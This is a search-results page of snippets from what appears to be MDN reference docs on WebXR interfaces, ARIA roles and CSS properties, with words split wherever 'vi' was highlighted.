... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetready experimentalchrome full support 59edge full support 16firefox no support noie no support noopera full support 46safari ?
... web
view android full support 59chrome android full support 59firefox android no support noopera android full support 43safari ios ?
...And 2 more matches
HTML in XMLHttpRequest - Web APIs
to get an over
view of how to use xmlhttprequest in general, see using xmlhttprequest.
... usage retrie
ving an html resource as a dom using xmlhttprequest works just like retrie
ving an xml resource as a dom using xmlhttprequest, except you can't use the synchronous mode and you have to explicitly request a document by assigning the string "document" to the responsetype property of the xmlhttprequest object after calling open() but before calling send().
... function htmlinxhr() { if (!window.xmlhttprequest) return false; var req = new window.xmlhttprequest(); req.open('get', window.location.href, false); try { req.responsetype = 'document'; } catch(e) { return true; } return false; }
view on jsfiddle this method is synchronous, does not rely on external assets though it may not be as reliable as method 2 described below since it does not check the actual feature but an indication of that feature.
...And 2 more matches
XRBoundedReferenceSpace.boundsGeometry - Web APIs
the read-only xrboundedreferencespace property boundsgeometry is an array of dompointreadonly objects which specifies the points making up a polygon inside which the
viewer is allowed to move.
...this may be done by walking the border of the space they wish to use, or by drawing the shape of their room using their xr input de
vice.
... syntax bounds = xrreferencespace.boundsgeometry; value the boundsgeometry property is an array of dompointreadonly objects, each of which defines one vertex in a polygon inside which the
viewer is required to remain.
...And 2 more matches
XRBoundedReferenceSpace - Web APIs
the webxr de
vice api's xrboundedreferencespace interface describes a
virtual world reference space which has preset boundaries.
... this extends xrreferencespace, which describes an essentially unrestricted space around the
viewer's position.
... at a minimum, the boundaries indicate the area in which the xr de
vice is capable of tracking the user's movement.
...And 2 more matches
XRFrame - Web APIs
a webxr de
vice api xrframe object is passed into the requestanimationframe() callback function and pro
vides access to the information needed in order to render a single frame of animation for an xrsession describing a vr or ar sccene.
... events which communicate the tracking state of objects also pro
vide an xrframe reference as part of their structure.
... in addition to pro
viding a reference to the xrsession for which this frame is to be rendered, the get
viewerpose() method is pro
vided to obtain the xr
viewerpose describing the
viewer's position and orientation in space, and getpose() can be used to create an xrpose describing the relative position of one xrspace relative to another.
...And 2 more matches
XRInputSource.handedness - Web APIs
usage notes if the input source is not a de
vice associated with a user's hand (whether by being held, attached, or worn), the value of handedness is none.
... this may indicate, for example, an input source which isn't hand-held, such as controls built into a headset or an input de
vice attached to the head or body.
... examples one important usage scentario for handedness is to determine which hand a controller is in so you can draw a representation of that hand (or the de
vice that hand is controlling) in
virtual space.
...And 2 more matches
XRInputSource.profiles - Web APIs
syntax let profilelist = xrinputsource.profiles; value an array of domstring objects, each describing one configuration profile for the input de
vice represented by the xrinputsource object.
... each input profile specifies the preferred
visual representation and beha
vior of the input source.
... usage notes input profile names an input profile name is a string describing a
visual representation and beha
vior the input source may be configured to use.
...And 2 more matches
XRInputSourceArray.forEach() - Web APIs
currentindex optional an integer value pro
viding the index into the array at which the element given by currentvalue is located.
...note that if you use arrow function notation (=>) to pro
vide the callback, you can omit thisarg, since all arrow functions lexically bind this.
... examples this example snippet gets the list of inputs for a session and tries to handle each type of input de
vice it supports using.
...And 2 more matches
XRInputSourceEvent.inputSource - Web APIs
this information lets you handle the event appropriately given the particulars of the user input de
vice being manipulated.
...this event indicates an action the user has taken using a webxr input controller, such as a hand controller, motion sensing de
vice, or other input apparatus.
... example the snippet below shows a handler for the select event which looks specifically for events which happen on gaze input de
vices.
...And 2 more matches
XRInputSourceEvent - Web APIs
the webxr de
vice api's xrinputsourceevent interface describes an event which has occurred on a webxr user input de
vice such as a hand controller, gaze tracking system, or motion tracking system.
... constructor xrinputsourceevent() creates and returns a new xrinputsourceevent object whose properties match those pro
vided in the eventinitdict dictionary pro
vided.
... properties frame read only an xrframe object pro
viding the needed information about the event frame during which the event occurred.
...And 2 more matches
XRInputSourceEventInit.frame - Web APIs
the xrinputsourceeventinit dictionary's property frame specifies an xrframe pro
viding information about the timestamp at which the new input source event took place, as well as access to the xrframe method getpose() which can be used to map the coordinates of any xrreferencespace to the space in which the event took place.
... syntax xrinputsourceeventinit.frame = xrframe; let xrinputsourceeventinit = { frame: xrframe }; let xrinputsourceevent = new xrinputsourceevent(type, { frame: xrframe }); value an xrframe indicating the time at which the event took place, and pro
viding a getpose() method which can be used to map reference spaces to the world reference space.
... usage notes the event frame does not correspond to a
visual frame as is delivered to the frame rendering callback function (see rendering and the webxr frame rendering callback for details on the callback).
...And 2 more matches
XRInputSourcesChangeEvent() - Web APIs
the xrinputsourceschangeevent() constructor creates and returns a new xrinputsourceschangeevent object, representing an update to the list of available webxr input de
vices.
... eventinitdict an object conforming to the xrinputsourceschangeeventinit dictionary, prodi
viding the initial values for the event.
... return value a newly-created xrinputsourceschangeevent object configured based upon the input parameters pro
vided.
...And 2 more matches
XRPose.emulatedPosition - Web APIs
the emulatedposition read-only attribute of the xrpose interface is a boolean value indicating whether or not both the the position component of the pose's transform is directly taken from the xr de
vice, or it's simulated or computed based on other sources.
...a basic xr headset pro
vides three degrees of freedom (3dof), tracking the pitch, yaw, and roll of the user's head.
... contrariwise, xr de
vices which can also track movement forward and backward as well as laterally—six degree of freedom (6dof) de
vices—don't require any information from other sources to determine the user's position, so the value of emulatedposition is false.
...And 2 more matches
XRRenderStateInit - Web APIs
depthfar optional a floating-point value specifying the distance in meters from the
viewer to the far clip plane, which is a plane parallel to the display surface beyond which no further rendering will occur.
... depthnear optional a floating-point value indicating the distance in meters from the
viewer to a plane parallel to the display surface to be the near clip plane.
... no part of the scene on the
viewer's side of this plane will be rendered.
...And 2 more matches
XRRigidTransform.position - Web APIs
the read-only xrrigidtransform property position is a dompointreadonly object which pro
vides the 3d point, specified in meters, describing the translation component of the transform.
...xrsession); let gllayer = new xrwebgllayer(xrsession, gl); xrsession.updaterenderstate({ baselayer: gllayer }); if (immersivesession) { xrsession.requestreferencespace("bounded-floor").then((refspace) => { refspacecreated(refspace); }).catch(() => { session.requestreferencespace("local-floor").then(refspacecreated); }); } else { session.requestreferencespace("
viewer").then(refspacecreated); } } function refspacecreated(refspace) { if (immersivesession) { xrreferencespace = refspace; } else { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -1.5}); ); } xrsession.requestanimationframe(onframe); } after setting up the graphics context for webxr use, this begins by looking to see if a variable imme...
... if we're not in an immersive session, we instead request a
viewer reference space.
...And 2 more matches
XRSessionInit - Web APIs
the webxr de
vice api dictionary xrsessioninit specifies required and/or optional features when requesting a new xrsession by calling the na
vigator.xr.requestsession() method.
...if none are included, the de
vice will use a default feature configuration for all options.
... default features immersive sessions all immersive (both immersive-vr and immersive-ar) sessions support both the
viewer and local reference spaces.
...And 2 more matches
ARIA Screen Reader Implementors Guide - Accessibility
the following is intended to pro
vide implementation guidance that respects screen readers developers' need to try different things.
... the intention is to strike a balance between pro
viding useful guidance on how to use the markup's intended meaning while supporting live regions as an area for screen readers to innovate and compete.
... interpreting wai-aria live region markup live changes are hints: in general live region markup is pro
vided by the author as hints, and the assistive technology may allow for global, site or even region-specific settings, as well as heuristics to help with live changes on pages that have no wai-aria hints.
...And 2 more matches
Using the aria-label attribute - Accessibility
use it in cases where a text label is not
visible on the screen.
... if there is
visible text labeling the element, use aria-labelledby instead.
...the information pro
vided above is one of those opinions and therefore not normative.
...And 2 more matches
Using the aria-labelledby attribute - Accessibility
assistive technology, such as screen readers, use this attribute to catalog the objects in a document so that users can na
vigate between them.
... aria-labelledby is very similar to aria-describedby: a label pro
vides essential information about an object, while a description pro
vides extended information that the user might need.
...the examples section below pro
vides more information on how to use the attribute this way.
...And 2 more matches
ARIA: form role - Accessibility
the form landmark role can be used to identify a group of elements on a page that pro
vide equivalent functionality to an html form.
... using the <form> element will automatically communicate a section of content as a form landmark, if it is pro
vided an accessible name.
...this label should be
visible to all users, not just assistive technology users.
...And 2 more matches
ARIA: grid role - Accessibility
while it does not imply a specific
visual presentation, it implies a relationship among elements.
... aria-readonly if the user can na
vigate the grid but not change the value or values of the grid, the aria-readonly should be set to true.
... keyboard interactions when a keyboard user encounters a grid, they na
vigate the rows and columns using the left, right, top and down keys.
...And 2 more matches
ARIA: button role - Accessibility
in some cases, for example buttons represented by icons, the accessible name may be pro
vided from the aria-label or aria-labelledby attributes.
...the included css style is pro
vided to make the <span> element look like a button, and to pro
vide
visual cues when the button has focus.
... best practices if a link performs the action of a button, gi
ving the element role="button" helps assistive technology users understand the function of the element.
...And 2 more matches
ARIA: textbox role - Accessibility
aria does not alter the beha
vior of the element; rather this feature must be controlled by the developer.
...the placeholder should be
visible when the control's value is the empty string such as when the control first receives focus and when users remove a pre
viously-entered value.
... aria-required attribute indicates that a value must be pro
vided for the field before it is submitted.
...And 2 more matches
Accessibility: What users can do to browse more safely - Accessibility
those in the public sector who must accomodate those with special sensiti
vities, should consider setting aside at least one work station and becoming familiar with its personalization and accessibility settings.
... understanding personalization and accessibility settings can actually be a money-sa
ving endeavor.
... one work station can be set up to acommodate both a low-
vision indi
vidual (needs high-contrast) and to accomodate an indi
vidual with photosensitive susceptibilities, by simply, adjusting personalization and accessiblity settings.
...And 2 more matches
Keyboard - Accessibility
this includes users of screen readers, but can also include users who have trouble operating a pointing de
vice such as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.
... see also tabindex global html attribute understanding focus order don't use tabindex greater than 0 clickable elements must be focusable and should have interactive semantics if an element can be clicked with a pointing de
vice, such as a mouse, then it should also be focusable using the keyboard, and the user should be able to do something by interacting with it.
... see also tabindex global html attribute global event handlers: onkeydown global event handlers: onkeyup interactive elements must be able to be activated using a keyboard if the user can interact with an element using touch or a pointing de
vice, then the element should also support interacting using the keyboard.
...And 2 more matches
:checked - CSS: Cascading Style Sheets
lass="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> </tbody> </table> <label for="expand-toggle" id="expand-btn">toggle hidden rows</label> css /* hide the toggle checkbox */ #expand-toggle { display: none; } /* hide expandable content by default */ .expandable {
visibility: collapse; background: #ddd; } /* style the button */ #expand-btn { display: inline-block; margin-top: 12px; padding: 5px 11px; background-color: #ff7; border: 1px solid; border-radius: 3px; } /* show hidden content when the checkbox is checked */ #expand-toggle:checked ~ * .expandable {
visibility:
visible; } /* style the button when the checkbox is checked */ #expand-...
... specifications specification status comment html li
ving standardthe definition of ':checked' in that specification.
... li
ving standard no change.
...And 2 more matches
:defined - CSS: Cascading Style Sheets
in this demo we define a very simple tri
vial custom element: customelements.define('simple-custom', class extends htmlelement { constructor() { super(); let divelem = document.createelement('div'); divelem.textcontent = this.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(divelem); } }) then insert a copy of this element into the document, along with a stand...
...ard <p>: <simple-custom text="custom element example text"></simple-custom> <p>standard paragraph example text</p> in the css we first include the following rules: // give the two elements distinctive backgrounds p { background: yellow; } simple-custom { background: cyan; } // both the custom and the built-in element are given italic text :defined { font-style: italic; } then pro
vide the following two rules to hide any instances of our custom element that are not defined, and display instances that are defined as block level elements: simple-custom:not(:defined) { display: none; } simple-custom:defined { display: block; } this is useful if you have a complex custom element that takes a while to load into the page — you might want to hide instances of the element until d...
...efinition is complete, so that you don't end up with flashes of ugly unstyled elements on the page specifications specification status comment html li
ving standardthe definition of ':defined' in that specification.
...And 2 more matches
:read-only - CSS: Cascading Style Sheets
the :read-only pseudo-class is used to remove all the styling that makes the inputs look like clickable fields, making them look more like read-only paragraphs.the :read-write pseudo-class on the other hand is used to pro
vide some nicer styling to the editable <textarea>.
... <p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html li
ving standardthe definition of ':read-only' in that specification.
... li
ving standard no change.
...And 2 more matches
:read-write - CSS: Cascading Style Sheets
the :read-only pseudo-class is used to remove all the styling that makes the inputs look like clickable fields, making them look more like read-only paragraphs.the :read-write pseudo-class on the other hand is used to pro
vide some nicer styling to the editable <textarea>.
... <p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html li
ving standardthe definition of ':read-write' in that specification.
... li
ving standard no change.
...And 2 more matches
@font-face - CSS: Cascading Style Sheets
to pro
vide the browser with a hint as to what format a font resource is — so it can select a suitable one — it is possible to include a format type inside a format() function: src: url(ideal-sans-serif.woff) format("woff"), url(basic-sans-serif.ttf) format("truetype"); the available types are: "woff", "woff2", "truetype", "opentype", "embedded-opentype", and "svg".
... description if the local() function is pro
vided, specifying a font name to look for on the user's computer, and the user agent finds a match, that local font is used.
... by allowing authors to pro
vide their own fonts, @font-face makes it possible to design content without being limited to the so-called "web-safe" fonts (that is, the fonts which are so common that they're considered to be universally available).
...And 2 more matches
aspect-ratio - CSS: Cascading Style Sheets
the aspect-ratio css media feature can be used to test the aspect ratio of the
viewport.
... syntax the aspect-ratio feature is specified as a <ratio> value representing the width-to-height aspect ratio of the
viewport.
... examples the example below is contained in an <iframe>, which creates its own
viewport.
...And 2 more matches
grid - CSS: Cascading Style Sheets
the grid css media feature can be used to test whether the output de
vice uses a grid-based screen.
...examples of grid-based de
vices include text-only terminals and basic phones with only one fixed font.
... syntax the grid feature is specified as a <mq-boolean> value (0 or 1) representing whether or not the ouput de
vice is grid-based.
...And 2 more matches
light-level - CSS: Cascading Style Sheets
syntax dim the de
vice is used in a dim en
vironment, where excessive contrast and brightness would be distracting or uncomfortable to the reader.
... for example: night time, or a dimly illuminated indoor en
vironment.
... normal the de
vice is used in a en
vironment with a light level in the ideal range for the screen, and which does not necessitate any particular adjustment.
...And 2 more matches
orientation - CSS: Cascading Style Sheets
the orientation css media feature can be used to test the orientation of the
viewport (or the page box, for paged media).
... note: this feature does not correspond to de
vice orientation.
... opening the soft keyboard on many de
vices in portrait orientation will cause the
viewport to become wider than it is tall, thereby causing the browser to use landscape styles instead of portrait.
...And 2 more matches
pointer - CSS: Cascading Style Sheets
the pointer css media feature tests whether the user has a pointing de
vice (such as a mouse), and if so, how accurate the primary pointing de
vice is.
... note: if you want to test the accuracy of any pointing de
vice, use any-pointer instead.
... none the primary input mechanism does not include a pointing de
vice.
...And 2 more matches
scan - CSS: Cascading Style Sheets
the scan css media feature can be used to test the scanning process (if any) utilized by the output de
vice.
...rather, it means the process by which an image is painted onto a tele
vision screen (or other de
vice).
... interlace the de
vice draws odd lines and even lines alternately.
...And 2 more matches
update - CSS: Cascading Style Sheets
the update css media feature can be used to test how frequently (if at all) the output de
vice is able to modify the appearance of content.
... slow the layout may change dynamically according to the usual rules of css, but the output de
vice is not able to render or display changes quickly enough for them to be perceived as a smooth animation.
... examples: e-book readers or severely underpowered de
vices.
...And 2 more matches
CSS Animations tips and tricks - CSS: Cascading Style Sheets
however, there are things you might want to do that aren't ob
vious, or clever ways to do things that you might not come up with right away.
...some css that's not important (the style of the "run" button itself) isn't shown here, for bre
vity.
...this has the effect of remo
ving any other classes currently applied to the box, including the "changing" class that handles animation.
...And 2 more matches
CSS Box Alignment - CSS: Cascading Style Sheets
this fallback alignment is specified indi
vidually for each layout method and detailed on the page for that method.
...if you were using arabic, a right to left language, then the same value of start would result in the items mo
ving to the right, as sentences in arabic start on the right-hand side of the page.
... overflow alignment the safe and unsafe keywords help define beha
viour when an alignment subject is larger than the alignment container.
...And 2 more matches
CSS Containment - CSS: Cascading Style Sheets
for example, it might not render articles that are outside the
viewable area.
...nothing can
visibly overflow.
... this information is something that is usually known, and in fact quite ob
vious, to the web developer creating the page.
...And 2 more matches
Introduction to formatting contexts - CSS: Cascading Style Sheets
the basics of how they behave and how you can make use of these beha
viors are also introduced.
... elements made to float using float absolutely positioned elements (including position: fixed or position: sticky) elements with display: inline-block table cells or elements with display: table-cell, including anonymous table cells created when using the display: table-* properties table captions or elements with display: table-caption block elements where overflow has a value other than
visible elements with display: flow-root or display: flow-root list-item elements with contain: layout, content, or strict flex items grid items multicol containers elements with column-span set to all this is useful because a new bfc will behave much like the outermost document in that it becomes a mini-layout inside the main layout.
...a typical way to do this in the past has been to set overflow: auto or set other values than the initial value of overflow:
visible.
...And 2 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
the features shown in this over
view will then be explained in greater detail in the rest of this guide.
... grid is a powerful specification that, when combined with other parts of css such as flexbox, can help you create layouts that were pre
viously impossible to build in css.
...if you
view this example in firefox and inspect the grid, you will see a small icon next to the value grid.
...And 2 more matches
The stacking context - CSS: Cascading Style Sheets
the stacking context is a three-dimensional conceptualization of html elements along an imaginary z-axis relative to the user, who is assumed to be facing the
viewport or the webpage.
... the stacking context in the pre
vious part of this article, using z-index, the rendering order of certain elements is influenced by their z-index value.
... within a stacking context, child elements are stacked according to the same rules pre
viously explained.
...And 2 more matches
Shapes From Images - CSS: Cascading Style Sheets
i can use shape-margin to move the text away from the shape, gi
ving a margin around the created shape and the text.
...due to this requirement for cors compatible images, if you are pre
viewing your file locally without using a local web server, your shape will not work.
... creating shapes using a gradient as a css gradient is treated as an image, you can use a gradient to generate your shape, by ha
ving transparent or semi-transparent areas as part of the gradient.
...And 2 more matches
Introducing the CSS Cascade - CSS: Cascading Style Sheets
as with @font-face, only the at-rule as a whole is selected
via the cascade algorithm.
... all lets you opt to immediately restore all properties to any of their initial (default) state, the state inherited from the pre
vious level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely.
... example let's look at an example invol
ving multiple sources of css across the various origins; here we have a user agent style sheet, two author style sheets, a user stylesheet, and inline styles within the html: user-agent css: li { margin-left: 10px } author css 1: li { margin-left: 0 } /* this is a reset */ author css 2: @media screen { li { margin-left: 3px } } @media print { li { margin-left: 1px } } user css: .specif...
...And 2 more matches
Media queries - CSS: Cascading Style Sheets
media queries let you adapt your site or app depending on the presence or value of various de
vice characteristics and parameters.
...for example, a media query can shrink the font size on small de
vices, increase the padding between paragraphs when a page is
viewed in portrait mode, or bump up the size of buttons on touchscreens.
...with this functionality, your site or app can respond to changes in the de
vice configuration, orientation, or state.
...And 2 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
** -webkit-border-vertical-spacing -webkit-box-align** -webkit-box-direction** -webkit-box-flex-group** -webkit-box-flex** -webkit-box-lines** -webkit-box-ordinal-group** -webkit-box-orient** -webkit-box-pack** -webkit-box-reflect** c -webkit-column-axis -webkit-column-break-after -webkit-column-break-before -webkit-column-break-inside -webkit-column-progression -webkit-cursor-
visibility d-i -webkit-dashboard-region -webkit-font-size-delta -webkit-font-smoothing -webkit-highlight -webkit-hyphenate-character -webkit-hyphenate-limit-after -webkit-hyphenate-limit-before -webkit-hyphenate-limit-lines -webkit-initial-letter l -webkit-line-align -webkit-line-box-contain -webkit-line-clamp -webkit-line-grid -webkit-line-snap -webkit-locale -webkit-logical...
... a -webkit-align-content -webkit-align-items -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function b -webkit-backface-
visibility -webkit-background-clip -webkit-background-origin -webkit-background-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-image -webkit-border-radius -webkit-border-top-left-radius -webkit-border-top-right-radius -webkit-box-decoration-break -webkit-box-shadow -webkit-box-sizing c -webkit-clip-path -webkit-column-count -webkit-column-...
... a -webkit-align-content -webkit-align-items -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function -webkit-appearance* b -webkit-backface-
visibility -webkit-background-clip -webkit-background-origin -webkit-background-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-image -webkit-border-radius -webkit-box-align**, *** -webkit-box-direction**, *** -webkit-box-flex**, *** -webkit-box-orient**, *** -webkit-box-pack**, *** -webkit-box-shadow -webkit-box-sizing -webkit-border-top-left-...
...And 2 more matches
animation-delay - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimation-delaychrome full support 43 full support 43 full support 3prefixed prefixed implemented with the vendor prefix: -webkit-edge full support ...
... 12firefox full support 16notes full support 16notes notes before firefox 57, firefox does not repaint elements outside the
viewport that are animated into the
viewport with a delay.
...to change preferences in firefox,
visit about:config.
...And 2 more matches
background-position - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'background-position' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-positionchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support ...
... 3.5safari full support 1web
view android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0multiple backgroundschrome full support 1edge full support 12firefox full support 3.6ie full su...
...And 2 more matches
background-repeat - CSS: Cascading Style Sheets
l two-value syntax: single value two-value equivalent repeat-x repeat no-repeat repeat-y no-repeat repeat repeat repeat repeat space space space round round round no-repeat no-repeat no-repeat in the two-value syntax, the first value represents the horizontal repetition beha
vior and the second value represents the vertical beha
vior.
... round as the allowed space increases in size, the repeated images will stretch (lea
ving no gaps) until there is room (space left >= half of the image width) for another one to be added.
...repeat; } .two { background-repeat: repeat; } .three { background-repeat: repeat-x; } .four { background-repeat: repeat-y; } .five { background-repeat: space; } .six { background-repeat: round; } /* multiple images */ .seven { background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif), url(https://developer.cdn.mozilla.net/media/redesign/img/fa
vicon32.png); background-repeat: repeat-x, repeat-y; height: 144px; } result in this example, each list item is matched with a different value of background-repeat.
...And 2 more matches
box-direction - CSS: Cascading Style Sheets
the -moz-box-direction will only be used for xul while the pre
vious standard box-direction has been replaced by flex-direction.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbox-direction deprecatednon-standardchrome full support 1prefixed full support 1prefixed prefixed implemented with the vendor prefix: -webkit-edge full support 12prefixed ...
...to change preferences in firefox,
visit about:config.ie no support noopera full support 15prefixed full support 15prefixed prefixed implemented with the vendor prefix: -webkit-safari full support 3prefixed full support ...
...And 2 more matches
box-pack - CSS: Cascading Style Sheets
the effect of this is only
visible if there is extra space in the box.
... values start the box packs contents at the start, lea
ving any extra space at the end.
... center the box packs contents in the center, di
viding any extra space equally between the start and the end.
...And 2 more matches
clear - CSS: Cascading Style Sheets
fusce pul
vinar lacus ac dui.</p> <p class="red">lorem ipsum dolor sit amet, consectetuer adipiscing elit.
... editor's draft adds the values inline-start and inline-end css level 2 (re
vision 1)the definition of 'clear' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclearchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support ...
...And 2 more matches
content - CSS: Cascading Style Sheets
the case-sensiti
vity of attribute names depends on the document language.
...</p> <h1>6</h1> <p>according to the mozilla manifesto, <q cite="http://www.mozilla.org/about/manifesto/">indi
viduals must have the ability to shape the internet and their own experiences on the internet.</q> therefore, we can infer that contributing to the open web can protect our own indi
vidual experiences on it.
... html <a href="http://www.mozilla.org/">mozilla home page</a> css a::before { content: url("https://mozorg.cdn.mozilla.net/media/img/fa
vicon.ico") / " mozilla: "; font: x-small arial, sans-serif; color: gray; } result targeting classes this example inserts additional text after special items in a list.
...And 2 more matches
cursor - CSS: Cascading Style Sheets
for example, this specifies two images using <url> values, pro
viding <x><y> coordinates for the second one, and falling back to the progress keyword value if neither image can be loaded: cursor: url(one.svg), url(two.svg) 5 5, progress; values <url> a url(…) or a comma separated list url(…), url(…), …, pointing to an image file.
... more than one <url> may be pro
vided as fallbacks, in case some cursor image types are not supported.
... in some en
vironments, an equivalent bidirectional resize cursor is shown.
...And 2 more matches
font-weight - CSS: Cascading Style Sheets
bolder one relative font weight hea
vier than the parent element.
...cument.queryselector('label[for="weight"]'); let weightinput = document.queryselector('#weight'); let sampletext = document.queryselector('.sample'); function update() { weightlabel.textcontent = `font-weight: ${weightinput.value};`; sampletext.style.fontweight = weightinput.value; } weightinput.addeventlistener('input', update); update(); accessibility concerns people experiencing low
vision conditions may have difficulty reading text set with a font-weight value of 100 (thin/hairline) or 200 (extra light), especially if the font has a low contrast color ratio.
...t-weight-absolute> | bolder | lighterwhere <font-weight-absolute> = normal | bold | <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[1,1000]> examples setting font weights html <p> alice was beginning to get very tired of sitting by her sister on the bank, and of ha
ving nothing to do: once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it, "and what is the use of a book," thought alice "without pictures or conversations?" </p> <div>i'm heavy<br/> <span>i'm lighter</span> </div> css /* set paragraph text to be bold.
...And 2 more matches
mask-clip - CSS: Cascading Style Sheets
/* <geometry-box> values */ mask-clip: content-box; mask-clip: padding-box; mask-clip: border-box; mask-clip: margin-box; mask-clip: fill-box; mask-clip: stroke-box; mask-clip:
view-box; /* keyword values */ mask-clip: no-clip; /* non-standard keyword values */ -webkit-mask-clip: border; -webkit-mask-clip: padding; -webkit-mask-clip: content; -webkit-mask-clip: text; /* multiple values */ mask-clip: padding-box, no-clip; mask-clip:
view-box, fill-box, border-box; /* global values */ mask-clip: inherit; mask-clip: initial; mask-clip: unset; syntax one or more of the keyword values listed below, separated by commas.
...
view-box uses the nearest svg
viewport as reference box.
... if a
viewbox attribute is specified for the element creating the svg
viewport, the reference box is positioned at the origin of the coordinate system established by the
viewbox attribute and the dimension of the reference box is set to the width and height values of the
viewbox attribute.
...And 2 more matches
mask-origin - CSS: Cascading Style Sheets
/* keyword values */ mask-origin: content-box; mask-origin: padding-box; mask-origin: border-box; mask-origin: margin-box; mask-origin: fill-box; mask-origin: stroke-box; mask-origin:
view-box; /* multiple values */ mask-origin: padding-box, content-box; mask-origin:
view-box, fill-box, border-box; /* non-standard keyword values */ -webkit-mask-origin: content; -webkit-mask-origin: padding; -webkit-mask-origin: border; /* global values */ mask-origin: inherit; mask-origin: initial; mask-origin: unset; for elements rendered as a single box, this property specifies the mask positioning area.
...
view-box uses the nearest svg
viewport as reference box.
... if a
viewbox attribute is specified for the element creating the svg
viewport, the reference box is positioned at the origin of the coordinate system established by the
viewbox attribute and the dimension of the reference box is set to the width and height values of the
viewbox attribute.
...And 2 more matches
max() - CSS: Cascading Style Sheets
in the first above example, the width will be at least 400px, but will be wider if the the
viewport is more than 2000px wide (in which case 1vw would be 20px, so 20vw would be 400px).
... think of the max() value as pro
viding the minimum value a property can have.
... notes math expressions invol
ving percentages for widths and heights on table columns, table column groups, table rows, table row groups, and table cells in both auto and fixed layout tables may be treated as if auto had been specified.
...And 2 more matches
outline - CSS: Cascading Style Sheets
note: the outline will be in
visible for many elements if its style is not defined.
...if an element can be interacted with it must have a
visible focus indicator.
... pro
vide ob
vious focus styling if the default focus style is removed.
...And 2 more matches
ruby-position - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetruby-position experimentalchrome no support noedge no support 12 — 79firefox full support 38ie no support nonotes no support ...
... nonotes notes internet explorer 9 and later support an old draft values: inline (equivalent of ha
ving display: inline on the ruby), and above (synonym of the modern over).opera no support nosafari no support nonotes no support nonotes notes safari implements a non-standard, prefixed, version of ruby-position, -webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scripts to the standard over value used with ruby-align: start).web
view android no support nochrome android no support nofirefox android ...
... experimentalchrome no support noedge no support nofirefox no support noie no support noopera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no...
...And 2 more matches
text-overflow - CSS: Cascading Style Sheets
if one value is given, it specifies overflow beha
vior for the end of the line (the right end for left-to-right text, the left end for right-to-left text).
... if two values are given, the first specifies overflow beha
vior for the left end of the line, and the second specifies it for the right end of the line.
... formal definition initial valueclipapplies toblock container elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ clip | ellipsis | <string> ]{1,2} examples css p { width: 200px; border: 1px solid; padding: 2px 5px; /* both of the following are required for text-overflow */ white-space: nowrap; overflow: hidden; } .overflow-
visible { white-space: initial; } .overflow-clip { text-overflow: clip; } .overflow-ellipsis { text-overflow: ellipsis; } .overflow-string { /* not supported in most browsers, see the 'browser compatibility' section below */ text-overflow: " [..]"; } html <p class="overflow-
visible">lorem ipsum dolor sit amet, consectetur adipisicing elit.</p> <p class="overflow-clip">lorem ipsu...
...And 2 more matches
text-transform - CSS: Cascading Style Sheets
internet explorer 9 was the closest to the css 2 definition, but with some weird cases.) by precisely defining the correct beha
vior, css text level 3 cleans this mess up.
... the capitalize line in the browser compatibility table contains the version the different engines started to support this now precisely-defined beha
vior.
... working draft from css level 2 (re
vision 1)the definition of 'text-transform' in that specification., extends letters to any unicode character in the number or letter general category.
...And 2 more matches
translateZ() - CSS: Cascading Style Sheets
the translatez() css function repositions an element along the z-axis in 3d space, i.e., closer to or farther away from the
viewer.
...a positive value moves the element towards the
viewer, and a negative value farther away.
...first, the perspective() function positions the
viewer relative to the plane that lies where z=0 (in essence, the surface of the screen).
...And 2 more matches
will-change - CSS: Cascading Style Sheets
the normal beha
vior for optimizations that the browser make is to remove the optimizations as soon as it can and revert back to normal.
